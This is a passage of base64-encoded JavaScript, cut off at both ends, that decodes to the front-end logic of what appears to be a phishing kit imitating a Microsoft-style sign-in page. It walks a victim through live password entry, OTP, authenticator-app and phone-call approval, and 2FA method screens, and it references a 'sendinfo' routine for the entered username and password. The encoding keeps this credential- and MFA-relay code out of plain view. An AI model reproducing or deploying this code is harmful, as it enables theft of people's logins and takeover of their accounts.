pbmZvID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iik7DQogICAgICAgICAgICBjb25zdCBpbmZvbmFtZSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNwYW4iKTsNCiAgICAgICAgICAgIGluZm9uYW1lLnRleHRDb250ZW50ID0gaXRlbS5uYW1lOw0KICAgICAgICAgICAgaW5mb25hbWUuY2xhc3NMaXN0LmFkZCgiYm9sZCIpOw0KICAgICAgICAgICAgY29uc3QgaW5mb3ZhbHVlID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic3BhbiIpOw0KICAgICAgICAgICAgaW5mb3ZhbHVlLnRleHRDb250ZW50ID0gaXRlbS52YWx1ZTsNCiAgICAgICAgICAgIG5ld2luZm8uYXBwZW5kQ2hpbGQoaW5mb25hbWUpOw0KICAgICAgICAgICAgbmV3aW5mby5hcHBlbmRDaGlsZChpbmZvdmFsdWUpOw0KICAgICAgICAgICAgZGVidWdkZXRhaWxzaW5mb2VsZS5hcHBlbmRDaGlsZChuZXdpbmZvKTsNCiAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fYWNjZXNzYmxvY2tlZCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgdmlldyA9ICJhY2Nlc3NibG9ja2VkIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJwcm90ZWN0IGFjY291bnQiKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl9wd2RfbGl2ZSIpLmlubmVyVGV4dCA9ICIiOw0KICAgICAgICAgICAgY2hlY2tlcnJvcmRlc2MoJ3Byb3RlY3RhY2NvdW50JywwLHJlc3BvbnNlWydkZXNjcmlwdGlvbiddKTsNCiAgICAgICAgICAgIGRpc3BsYXlwcm90ZWN0b3B0aW9ucyhyZXNwb25zZVsncHJvdGVjdG9wdGlvbnMnXSk7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ3Byb3RlY3RhY2NvdW50JyxyZXNwb25zZVsnYm90dG9tc2VjdGlvbiddKQ0KICAgICAgICAgICAgY2hhbmdlYmFja2J1dHRvbigncHJvdGVjdGFjY291bnQnLHJlc3BvbnNlWydiYWNrYnV0dG9uJ10pOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25fcHdkX2xpdmUiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3Byb3RlY3RhY2NvdW50JykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICB2aWV3ID0gInByb3RlY3RhY2NvdW50IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJvdHAgc2VudCIpew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX3B3ZF9saXZlIikuaW5uZXJUZXh0ID0gIiI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgib3RwaW1nIikuc2V0QXR0cmlidXRlKCJzcmMiLCByZXNwb25zZVsnaW1hZ2Vfc3JjJ10pOw0KICAgICAgICAgICAgY2hlY2tlcnJvcmRlc2MoJ290cCcsMCxyZXNwb25zZVsnZGVzY3JpcHRpb24nXSk7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ290cCcscmVzcG9uc2VbJ2JvdHRvbXNlY3Rpb24nXSkNCiAgICAgICAgICAgIGNoYW5nZWJhY2tidXR0b24oJ290cCcscmVzcG9uc2VbJ2JhY2tidXR0b24nXSk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl9wd2RfbGl2ZSIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fb3RwJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICB2aWV3ID0gIm90cCI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAiYXBwcm92ZSBhdXRoIHJlcXVlc3QgYXV0aCBhcHAiKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl9wd2RfbGl2ZSIpLmlubmVyVGV4dCA9ICIiOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImF1dGhhcHBpbWciKS5zZXRBdHRyaWJ1dGUoInNyYyIsIHJlc3BvbnNlWydpbWFnZV9zcmMnXSk7DQogICAgICAgICAgICBjaGVja2Vycm9yZGVzYygnYXV0aGFwcCcsMCxyZXNwb25zZVsnZGVzY3JpcHRpb24nXSk7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ2F1dGhhcHAnLHJlc3BvbnNlWydib3R0b21zZWN0aW9uJ10pDQogICAgICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCdhdXRoYXBwJyxyZXNwb25zZVsnYmFja2J1dHRvbiddKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJhdXRoYXBwY29kZSIpLnRleHRDb250ZW50ID0gcmVzcG9uc2VbJ2F1dGhhcHBjb2RlJ107DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl9wd2RfbGl2ZSIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fYXV0aGFwcCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgdmlldyA9ICJhdXRoYXBwIjsNCiAgICAgICAgICAgIHdhaXQyZmEoJ2FwcCcscmVzcG9uc2VbJ21ldGhvZGlkJ10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gImFwcHJvdmUgYXV0aCByZXF1ZXN0IGNhbGxpbmciKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX2F1dGhjYWxsJykucXVlcnlTZWxlY3RvcignLmJhY2snKS5mb2N1cygpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX3B3ZF9saXZlIikuaW5uZXJUZXh0ID0gIiI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiYXV0aGNhbGxpbWciKS5zZXRBdHRyaWJ1dGUoInNyYyIsIHJlc3BvbnNlWydpbWFnZV9zcmMnXSk7DQogICAgICAgICAgICBjaGVja2Vycm9yZGVzYygnYXV0aGNhbGwnLDAscmVzcG9uc2VbJ2Rlc2NyaXB0aW9uJ10pOw0KICAgICAgICAgICAgYm90dG9tc2VjdGlvbmxpbmtzKCdhdXRoY2FsbCcscmVzcG9uc2VbJ2JvdHRvbXNlY3Rpb24nXSkNCiAgICAgICAgICAgIGNoYW5nZWJhY2tidXR0b24oJ2F1dGhjYWxsJyxyZXNwb25zZVsnYmFja2J1dHRvbiddKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX3B3ZF9saXZlIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9hdXRoY2FsbCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgdmlldyA9ICJhdXRoY2FsbCI7DQogICAgICAgICAgICB3YWl0MmZhKCdjYWxsJyk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAiMmZhIGlzIG9uIil7DQogICAgICAgICAgICB2YXIgdHdvZmFhcnIgPSBKU09OLnBhcnNlKHJlc3BvbnNlWyd0d29mYW1ldGhvZHMnXSk7DQogICAgICAgICAgICBkaXNwbGF5dHdvZmFtZXRob2RzKHR3b2ZhYXJyKTsNCiAgICAgICAgICAgIGJvdHRvbXNlY3Rpb25saW5rcygnMmZhJyxyZXNwb25zZVsnYm90dG9tc2VjdGlvbiddKTsNCiAgICAgICAgICAgIGNoYW5nZWJhY2tidXR0b24oJzJmYScscmVzcG9uc2VbJ2JhY2tidXR0b24nXSk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl9wd2RfbGl2ZSIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fMmZhJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICB2aWV3ID0gIjJmYSI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfcHdkX2xpdmUiKS5pbm5lclRleHQgPSAiIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJlcnJvciIpew0KICAgICAgICAgICAgLy8gc2VuZGluZm8odW5hbWVJbnAudmFsdWUscHdkSW5wbGl2ZS52YWx1ZSwwKTsNCiAgICAgICAgICAgIGJvdHRvbXNlY3Rpb25saW5rcygncHdkX2xpdmUnLHJlc3BvbnNlWydib3R0b21zZWN0aW9uJ10pDQogICAgICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCdwd2RfbGl2ZScscmVzcG9uc2VbJ2JhY2tidXR0b24nXSk7DQogICAgICAgICAgICBjaGVja2Vycm9yZGVzYygncHdkX2xpdmUnLDEscmVzcG9uc2VbJ2Rlc2NyaXB0aW9uJ10pOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImlucF9wd2RfbGl2ZSIpLnZhbHVlID0gIiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IHdlYnNpdGVuYW1lcy5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gImVycm9yICIrd2Vic2l0ZW5hbWVzW2ldKyIiKXsNCiAgICAgICAgICAgIGNoZWNrZXJyb3JkZXNjKCdwd2RfbGl2ZScsMSxyZXNwb25zZVsnZGVzY3JpcHRpb24nXSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICB9KQ0KICAgICAgICAgICAgLmNhdGNoKGVycm9yID0+IHsNCiAgICAgICAgICAgIGxvYWRpbmdhbmltYXRpb24oMSk7DQogICAgICAgICAgICBjb25zb2xlLmVycm9yKCdFcnJvcjonLCBlcnJvcik7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIHJlc2V0YmFja3RvZW1haWwoKXsNCiAgICAgICAgdmFyIGJhY2twYWdlbmFtZSA9ICJ1bmFtZSI7DQogICAgICAgIGlmKG11bHRpcGxlYWNjb3VudHNiYWNrID09IDEpew0KICAgICAgICBiYWNrcGFnZW5hbWUgPSAibXVsdGlwbGVhY2NvdW50cyI7DQogICAgICAgIH0NCiAgICAgIGJvdHRvbXNlY3Rpb25saW5rcyhiYWNrcGFnZW5hbWUsW3thX2lkOiAic2lnbnVwIiwgYV90ZXh0OiAiQ3JlYXRlIG9uZSEiLCB0ZXh0OiAiTm8gYWNjb3VudD8iLCB0eXBlOiAidGV4dF9saW5rIn0se2FfdGV4dDogIkNhbid0IGFjY2VzcyB5b3VyIGFjY291bnQ/IiwgYV9pZDogImNhbnRBY2Nlc3NBY2NvdW50IiwgdHlwZTogImxpbmsifV0pDQogICAgICAgIGlmKG11bHRpcGxlYWNjb3VudHNiYWNrID09IDApew0KICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKGJhY2twYWdlbmFtZSwwKTsNCiAgICAgIH0NCiAgICAgICAgZG9jdW1lbnQuYm9keS5zdHlsZS5iYWNrZ3JvdW5kSW1hZ2UgPSAiIjsNCiAgICAgICAgZG9jdW1lbnQuYm9keS5zdHlsZS5iYWNrZ3JvdW5kQ29sb3IgPSAiIjsNCiAgICAgICAgaWYodHdhID09IDApew0KICAgICAgICB2YXIgYmFubmVyTG9nb3MgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCIuYmFubmVybG9nbyIpOw0KICAgICAgICBiYW5uZXJMb2dvcy5mb3JFYWNoKGZ1bmN0aW9uKGVsZW1lbnQpIHsNCiAgICAgICAgaWYgKGVsZW1lbnQuaGFzQXR0cmlidXRlKCdzdHlsZScpKSB7DQogICAgICAgIGVsZW1lbnQucmVtb3ZlQXR0cmlidXRlKCdzdHlsZScpOw0KICAgICAgICBlbGVtZW50LnN0eWxlLmhlaWdodCA9ICIzNnB4IjsNCiAgICAgICAgfQ0KICAgICAgICB9KTsNCiAgICAgICAgfQ0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZXJyb3JfcHdkJykuaW5uZXJUZXh0ID0gIiI7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX3B3ZCIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9wd2QnKS5xdWVyeVNlbGVjdG9yKCcuc2VjdGlvbmNvbnRlbnQnKS5zdHlsZS5hbmltYXRpb24gPSAnJzsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fJytiYWNrcGFnZW5hbWUpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICB2aWV3ID0gYmFja3BhZ2VuYW1lOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIGJhY2tidG4oKXsNCiAgICAgICAgcnVuYW5pbWF0aW9uKDAsdmlldywxLjIpOw0KICAgICAgICBpZiAod2Vibm90Zm91bmQgPT0gdHJ1ZSAmJiAodmlldyA9PSAicHdkIiB8fCB2aWV3ID09ICJwd2RfbGl2ZSIpKXsNCiAgICAgICAgd2Vibm90Zm91bmQgPSBmYWxzZTsNCiAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHsNCiAgICAgICAgcmVzZXRiYWNrdG9lbWFpbCgpOw0KICAgICAgICBydW5hbmltYXRpb24oMyx2aWV3LDEuMik7DQogICAgICAgIH0sIDkwMCk7DQogICAgICAgIH0gZWxzZSBpZiAod2Vibm90Zm91bmQgPT0gZmFsc2UgJiYgKHZpZXcgPT0gInB3ZCIgfHwgdmlldyA9PSAicHdkX2xpdmUiKSl7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLnF1ZXJ5U2VsZWN0b3IoJy5zZWN0aW9uY29udGVudCcpLnN0eWxlLmFuaW1hdGlvbiA9ICcnOw0KICAgICAgICAgICAgaWYgKHZpZXcgPT0gInB3ZCIgfHwgdmlldyA9PSAicHdkX2xpdmUiKXsNCiAgICAgICAgICAgIGlmICh2aWV3ID09ICJwd2QiKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlcnJvcl9wd2QnKS5pbm5lclRleHQgPSAiIjsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpbnBfcHdkJykudmFsdWUgPSAiIjsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlcnJvcl91bmFtZScpLmlubmVyVGV4dCA9ICIiOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2lucF91bmFtZScpLnZhbHVlID0gIiI7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ3VuYW1lJyxbe2FfaWQ6ICJzaWdudXAiLCBhX3RleHQ6ICJDcmVhdGUgb25lISIsIHRleHQ6ICJObyBhY2NvdW50PyIsIHR5cGU6ICJ0ZXh0X2xpbmsifSx7YV9pZDogImNhbnRBY2Nlc3NBY2NvdW50IiwgYV90ZXh0OiAiQ2FuJ3QgYWNjZXNzIHlvdXIgYWNjb3VudD8iLCB0eXBlOiAibGluayJ9XSk7DQogICAgICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCd1bmFtZScsMCk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl9wd2QiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmICh2aWV3ID09ICJwd2RfbGl2ZSIpew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Vycm9yX3B3ZF9saXZlJykuaW5uZXJUZXh0ID0gIiI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaW5wX3B3ZF9saXZlJykudmFsdWUgPSAiIjsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlcnJvcl91bmFtZScpLmlubmVyVGV4dCA9ICIiOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2lucF91bmFtZScpLnZhbHVlID0gIiI7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ3VuYW1lJyxbe2FfaWQ6ICJzaWdudXAiLCBhX3RleHQ6ICJDcmVhdGUgb25lISIsIHRleHQ6ICJObyBhY2NvdW50PyIsIHR5cGU6ICJ0ZXh0X2xpbmsifSx7YV9pZDogImNhbnRBY2Nlc3NBY2NvdW50IiwgYV90ZXh0OiAiQ2FuJ3QgYWNjZXNzIHlvdXIgYWNjb3VudD8iLCB0eXBlOiAibGluayJ9XSk7DQogICAgICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCd1bmFtZScsMCk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl9wd2RfbGl2ZSIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdW5hbWUnKS5xdWVyeVNlbGVjdG9yKCcuc2VjdGlvbmNvbnRlbnQnKS5zdHlsZS5hbmltYXRpb24gPSAnJzsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3VuYW1lJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICBpZiAoZG9jdW1lbnQuYm9keS5zdHlsZS5iYWNrZ3JvdW5kSW1hZ2UpIHsNCiAgICAgICAgICAgIGRvY3VtZW50LmJvZHkuc3R5bGUuYmFja2dyb3VuZEltYWdlID0gIiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoZG9jdW1lbnQuYm9keS5zdHlsZS5iYWNrZ3JvdW5kQ29sb3IpIHsNCiAgICAgICAgICAgIGRvY3VtZW50LmJvZHkuc3R5bGUuYmFja2dyb3VuZENvbG9yID0gIiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ3VuYW1lJyxbe2FfaWQ6ICJzaWdudXAiLCBhX3RleHQ6ICJDcmVhdGUgb25lISIsIHRleHQ6ICJObyBhY2NvdW50PyIsIHR5cGU6ICJ0ZXh0X2xpbmsifSx7YV9pZDogImNhbnRBY2Nlc3NBY2NvdW50IiwgYV90ZXh0OiAiQ2FuJ3QgYWNjZXNzIHlvdXIgYWNjb3VudD8iLCB0eXBlOiAibGluayJ9XSk7DQogICAgICAgICAgICBpZih0d2EgPT0gMCl7DQogICAgICAgICAgICB2YXIgYmFubmVyTG9nb3MgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCIuYmFubmVybG9nbyIpOw0KICAgICAgICAgICAgYmFubmVyTG9nb3MuZm9yRWFjaChmdW5jdGlvbihlbGVtZW50KSB7DQogICAgICAgICAgICBpZiAoZWxlbWVudC5oYXNBdHRyaWJ1dGUoJ3N0eWxlJykpIHsNCiAgICAgICAgICAgIGVsZW1lbnQucmVtb3ZlQXR0cmlidXRlKCdzdHlsZScpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB2aWV3ID0gInVuYW1lIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJ1bmFuaW1hdGlvbigzLHZpZXcsMS4yKTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAod2Vibm90Zm91bmQgPT0gZmFsc2UgJiYgKHZpZXcgIT0gInB3ZCIgJiYgdmlldyAhPSAicHdkX2xpdmUiKSl7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLnF1ZXJ5U2VsZWN0b3IoJy5zZWN0aW9uY29udGVudCcpLnN0eWxlLmFuaW1hdGlvbiA9ICcnOw0KICAgICAgICAgICAgaWYgKHZpZXcgPT0gInB3ZCIgJiYgdmlldyA9PSAicHdkX2xpdmUiKXsNCiAgICAgICAgICAgIGlmICh2aWV3ID09ICJwd2QiKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlcnJvcl9wd2QnKS5pbm5lclRleHQgPSAiIjsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpbnBfcHdkJykudmFsdWUgPSAiIjsNCiAgICAgICAgICAgIGJvdHRvbXNlY3Rpb25saW5rcygndW5hbWUnLFt7YV9pZDogInNpZ251cCIsIGFfdGV4dDogIkNyZWF0ZSBvbmUhIiwgdGV4dDogIk5vIGFjY291bnQ/IiwgdHlwZTogInRleHRfbGluayJ9LHthX2lkOiAiY2FudEFjY2Vzc0FjY291bnQiLCBhX3RleHQ6ICJDYW4ndCBhY2Nlc3MgeW91ciBhY2NvdW50PyIsIHR5cGU6ICJsaW5rIn1dKTsNCiAgICAgICAgICAgIGNoYW5nZWJhY2tidXR0b24oJ3VuYW1lJywwKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX3B3ZCIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHZpZXcgPT0gInB3ZF9saXZlIil7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZXJyb3JfcHdkX2xpdmUnKS5pbm5lclRleHQgPSAiIjsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpbnBfcHdkX2xpdmUnKS52YWx1ZSA9ICIiOw0KICAgICAgICAgICAgYm90dG9tc2VjdGlvbmxpbmtzKCd1bmFtZScsW3thX2lkOiAic2lnbnVwIiwgYV90ZXh0OiAiQ3JlYXRlIG9uZSEiLCB0ZXh0OiAiTm8gYWNjb3VudD8iLCB0eXBlOiAidGV4dF9saW5rIn0se2FfaWQ6ICJjYW50QWNjZXNzQWNjb3VudCIsIGFfdGV4dDogIkNhbid0IGFjY2VzcyB5b3VyIGFjY291bnQ/IiwgdHlwZTogImxpbmsifV0pOw0KICAgICAgICAgICAgY2hhbmdlYmFja2J1dHRvbigndW5hbWUnLDApOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25fcHdkX2xpdmUiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3VuYW1lJykucXVlcnlTZWxlY3RvcignLnNlY3Rpb25jb250ZW50Jykuc3R5bGUuYW5pbWF0aW9uID0gJyc7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl91bmFtZScpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgaWYgKGRvY3VtZW50LmJvZHkuc3R5bGUuYmFja2dyb3VuZEltYWdlKSB7DQogICAgICAgICAgICBkb2N1bWVudC5ib2R5LnN0eWxlLmJhY2tncm91bmRJbWFnZSA9ICIiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKGRvY3VtZW50LmJvZHkuc3R5bGUuYmFja2dyb3VuZENvbG9yKSB7DQogICAgICAgICAgICBkb2N1bWVudC5ib2R5LnN0eWxlLmJhY2tncm91bmRDb2xvciA9ICIiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYodHdhID09IDApew0KICAgICAgICAgICAgdmFyIGJhbm5lckxvZ29zID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgiLmJhbm5lcmxvZ28iKTsNCiAgICAgICAgICAgIGJhbm5lckxvZ29zLmZvckVhY2goZnVuY3Rpb24oZWxlbWVudCkgew0KICAgICAgICAgICAgaWYgKGVsZW1lbnQuaGFzQXR0cmlidXRlKCdzdHlsZScpKSB7DQogICAgICAgICAgICBlbGVtZW50LnJlbW92ZUF0dHJpYnV0ZSgnc3R5bGUnKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgdmlldyA9ICJ1bmFtZSI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAodmlldyA9PSAiY29uZmlybWVtYWlsIil7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl9jb25maXJtZW1haWwiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXzJmYScpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgdmlldyA9ICIyZmEiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHZpZXcgPT0gImNvbmZpcm1lbWFpbG9ycGhvbmVfbGl2ZSIpew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25fY29uZmlybWVtYWlsb3JwaG9uZV9saXZlIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8yZmEnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIHZpZXcgPSAiMmZhIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmICh2aWV3ID09ICJvdHBfbGl2ZSIgJiYgdmlld3R5cGUgPT0gImVtYWlsIiB8fCB2aWV3ID09ICJvdHBfbGl2ZSIgJiYgdmlld3R5cGUgPT0gInBob25lIil7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl9vdHBfbGl2ZSIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fY29uZmlybWVtYWlsb3JwaG9uZV9saXZlJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICB2aWV3ID0gImNvbmZpcm1lbWFpbG9ycGhvbmVfbGl2ZSI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAodmlldyA9PSAib3RwX2xpdmUiICYmIHZpZXd0eXBlID09ICJvdHAiKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX290cF9saXZlIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8yZmEnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIHZpZXcgPSAiMmZhIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmICh2aWV3ID09ICJvdHAiKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlcnJvcl9vdHAnKS5pbm5lclRleHQgPSAiIj